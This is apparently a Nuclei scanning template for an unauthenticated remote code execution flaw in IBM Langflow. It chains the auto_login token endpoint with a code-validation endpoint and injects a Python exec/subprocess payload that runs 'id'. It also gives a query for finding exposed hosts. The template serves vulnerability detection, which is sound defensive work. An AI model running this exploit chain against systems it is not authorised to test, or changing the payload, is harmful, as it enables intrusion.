IBM Langflow - Remote Code Execution

id: CVE-2026-9198

info:
  name: IBM Langflow - Remote Code Execution
  author: YesWeHack
  severity: critical
  description: |
    IBM Langflow OSS 1.0.0 through 1.10.0 contains a remote code execution caused by chaining /api/v1/auto_login and /api/v1/validate/code endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, leading to full system compromise.
  remediation: |
    Update to the latest version beyond 1.10.0.
  reference:
    - https://www.ibm.com/support/pages/node/7278927
    - https://github.com/ywh-jfellus/CVE-2026-9198
    - https://github.com/0xdak/CVE-2026-9198_exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9198
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-9198
    epss-score: 0.17053
    epss-percentile: 0.96777
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: ibm
    product: langflow
    fofa-query: title="Langflow" || body="langflow"
  tags: cve,cve2026,langflow,ibm,rce,auth-bypass,vuln,kev,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/auto_login"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "access_token", "refresh_token")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: json
        name: token
        json:
          - ".access_token"
        internal: true

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"code": "def _nuclei_scan(_=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True, stderr=__import__(\"subprocess\").STDOUT).decode())')):\n    pass"}

    matchers:
      - type: dsl
        dsl:
          - 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450221008f21528ede0e32863434a2fa643bbbf93224e7f9d1bfe444f1d914b673bb709902205a7eb81ab0f3a73acd03650450ca726e7d027c75c43b03fd8879e6f2d0ab0d60:922c64590222798bb761d5b6d8e72950